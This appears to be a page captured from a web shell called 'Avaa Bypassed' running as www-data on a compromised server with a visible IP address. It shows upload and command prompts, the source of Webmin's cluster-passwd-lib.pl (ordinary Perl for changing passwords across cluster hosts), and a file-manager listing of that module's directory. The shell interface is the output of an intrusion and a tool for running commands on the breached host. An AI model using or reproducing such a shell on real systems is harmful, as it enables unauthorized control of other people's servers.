[ Avaa Bypassed ]




Upload:

Command:

www-data@3.144.36.122: ~ $
# cluster-passwd-lib.pl

BEGIN { push(@INC, ".."); };
use WebminCore;
&init_config();
%access = &get_module_acl();
&foreign_require("cluster-useradmin", "cluster-useradmin-lib.pl");
&foreign_require("passwd", "passwd-lib.pl");
&foreign_require("useradmin", "user-lib.pl");

# get_all_users([&hosts])
sub get_all_users
{
local @hosts = $_[0] ? @{$_[0]} : &cluster_useradmin::list_useradmin_hosts();
local ($h, %done, @ulist);
foreach $h (sort { $a->{'id'} <=> $b->{'id'} } @hosts) {
	foreach $u (@{$h->{'users'}}) {
		$u->{'host'} = $h;
		push(@ulist, $u) if (!$done{$u->{'user'}}++);
		}
	}
return @ulist;
}

# can_edit_passwd(&user)
sub can_edit_passwd
{
if ($access{'mode'} == 0) {
	return 1;
	}
elsif ($access{'mode'} == 3) {
	return $_[0]->{'user'} eq $remote_user;
	}
elsif ($access{'mode'} == 4) {
	return (!$access{'low'} || $_[0]->{'uid'} >= $access{'low'}) &&
	       (!$access{'high'} || $_[0]->{'uid'} <= $access{'high'});
	}
elsif ($access{'mode'} == 5) {
	local ($g) = grep { $_->{'gid'} == $_[0]->{'gid'} }
			  @{$_[0]->{'host'}->{'groups'}};
	return 1 if (&indexof($g->{'group'},
			      split(/\s+/, $access{'users'})) >= 0);
	if ($access{'sec'}) {
		local $gname;
		foreach $gname (split(/\s+/, $access{'users'})) {
			local ($g) = grep { $_->{'group'} eq $gname }
					  @{$_[0]->{'host'}->{'groups'}};
			return 1 if (&indexof($_[0]->{'user'},
				      split(/,/, $g->{'members'})) >= 0);
			}
		}
	return 0;
	}
elsif ($access{'mode'} == 6) {
	return $_[0]->{'user'} =~ /$access{'users'}/;
	}
else {
	local $idx = &indexof($_[0]->{'user'}, split(/\s+/, $access{'users'}));
	return $access{'mode'} == 1 && $idx >= 0 ||
	       $access{'mode'} == 2 && $idx < 0;
	}
}

sub passwd_error
{
$passwd_error_msg = join("", @_);
}

# modify_on_hosts(&hosts, username, newpass, others, &printfunc)
# Updates the user on all hosts that he exists
sub modify_on_hosts
{
&remote_error_setup(\&passwd_error);
local $pfunc = $_[4];
local @servers = &cluster_useradmin::list_servers();
local $host;
foreach $host (@{$_[0]}) {
	# Connect to the host and get the user
	$passwd_error_msg = undef;
	local $user = grep { $_->{'user'} eq $_[1] } @{$host->{'users'}};
	next if (!$user);
	local ($serv) = grep { $_->{'id'} == $host->{'id'} } @servers;
	&$pfunc(-1, &text('passwd_on', $serv->{'desc'} || $serv->{'host'}));
	&remote_foreign_require($serv->{'host'}, "useradmin", "user-lib.pl");
	if ($passwd_error_msg) {
		# Host is down ..
		&$pfunc(1, &cluster_useradmin::text(
				'usave_failed', $passwd_error_msg));
		next;
		}
	local @ulist = &remote_foreign_call($serv->{'host'}, "useradmin",
					    "list_users");
	($user) = grep { $_->{'user'} eq $_[1] } @ulist;
	if (!$user) {
		# No longer exists?
		&$pfunc(2, $cluster_useradmin::text{'usave_gone'});
		next;
		}

	# Update password fields in user
	$user->{'olduser'} = $user->{'user'};
	$user->{'pass'} = &remote_foreign_call($serv->{'host'}, "useradmin",
					       "encrypt_password", $_[2]);
	$user->{'passmode'} = 3;
	$user->{'plainpass'} = $_[2];
	local $pft = &useradmin::passfiles_type();
	if ($pft == 2 || $pft == 5) {
		$user->{'change'} = int(time() / (60*60*24));
		}
	elsif ($pft == 4) {
		$user->{'change'} = time();
		}

	# Run the pre-change command
	&remote_eval($serv->{'host'}, "useradmin", "set_user_envs", $user);
	&remote_foreign_call($serv->{'host'}, "useradmin",
			     "making_changes");

	# Update the user on the server
	&$pfunc(-2, $cluster_useradmin::text{'usave_update'});
	&remote_foreign_call($serv->{'host'}, "useradmin", "modify_user",
			     $user, $user);
	&$pfunc(-3, $cluster_useradmin::text{'udel_done'});

	# Run post-change command
	&remote_foreign_call($serv->{'host'}, "useradmin", "made_changes");

	if ($_[3]) {
		# Update the user in other modules
		&$pfunc(-2, $cluster_useradmin::text{'usave_mothers'});
		$user->{'passmode'} = 3;
		$user->{'plainpass'} = $_[2];
		&remote_foreign_call($serv->{'host'}, "useradmin",
				     "other_modules", "useradmin_modify_user",
				     $user, $user);
		&$pfunc(-3, $cluster_useradmin::text{'udel_done'});
		}

	# Update in local list
	$host->{'users'} = \@ulist;
	&cluster_useradmin::save_useradmin_host($host);
	&$pfunc(-4);
	}
}

1;


Filemanager

Name Type Size Permission Actions
images Folder 0755
lang Folder 0755
CHANGELOG File 128 B 0644
acl_security.pl File 3.62 KB 0755
change-passwd.pl File 1.84 KB 0755
cluster-passwd-lib.pl File 4.09 KB 0755
config File 39 B 0644
config.info File 160 B 0644
config.info.ca File 190 B 0644
config.info.cs File 206 B 0644
config.info.de File 163 B 0644
config.info.el File 311 B 0644
config.info.es File 208 B 0644
config.info.fr File 220 B 0644
config.info.hr File 0 B 0644
config.info.hu File 0 B 0644
config.info.ms File 187 B 0644
config.info.nl File 181 B 0644
config.info.no File 174 B 0644
config.info.pl File 214 B 0644
defaultacl File 64 B 0644
edit_passwd.cgi File 1.44 KB 0755
index.cgi File 1.5 KB 0755
log_parser.pl File 447 B 0755
module.info File 205 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 118 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 170 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 178 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 193 B 0644
module.info.ca File 127 B 0644
module.info.cs File 31 B 0644
module.info.cs.auto File 77 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 116 B 0644
module.info.de File 102 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 230 B 0644
module.info.es File 41 B 0644
module.info.es.auto File 90 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 123 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 193 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 109 B 0644
module.info.fr File 50 B 0644
module.info.fr.auto File 95 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 142 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 113 B 0644
module.info.hu File 40 B 0644
module.info.hu.auto File 75 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 135 B 0644
module.info.ja File 0 B 0644
module.info.ja.auto File 151 B 0644
module.info.ko File 0 B 0644
module.info.ko.auto File 146 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 132 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 107 B 0644
module.info.ms File 118 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 117 B 0644
module.info.nl File 38 B 0644
module.info.nl.auto File 91 B 0644
module.info.no File 31 B 0644
module.info.no.auto File 74 B 0644
module.info.pl File 112 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 124 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 130 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 122 B 0644
module.info.ru File 0 B 0644
module.info.ru.auto File 171 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 111 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 104 B 0644
module.info.sv File 0 B 0644
module.info.sv.auto File 114 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 257 B 0644
module.info.tr File 0 B 0644
module.info.tr.auto File 130 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 183 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 171 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 140 B 0644
module.info.zh File 0 B 0644
module.info.zh.auto File 94 B 0644
module.info.zh_TW File 0 B 0644
module.info.zh_TW.auto File 100 B 0644
prefs.info File 38 B 0644
save_passwd.cgi File 1.65 KB 0755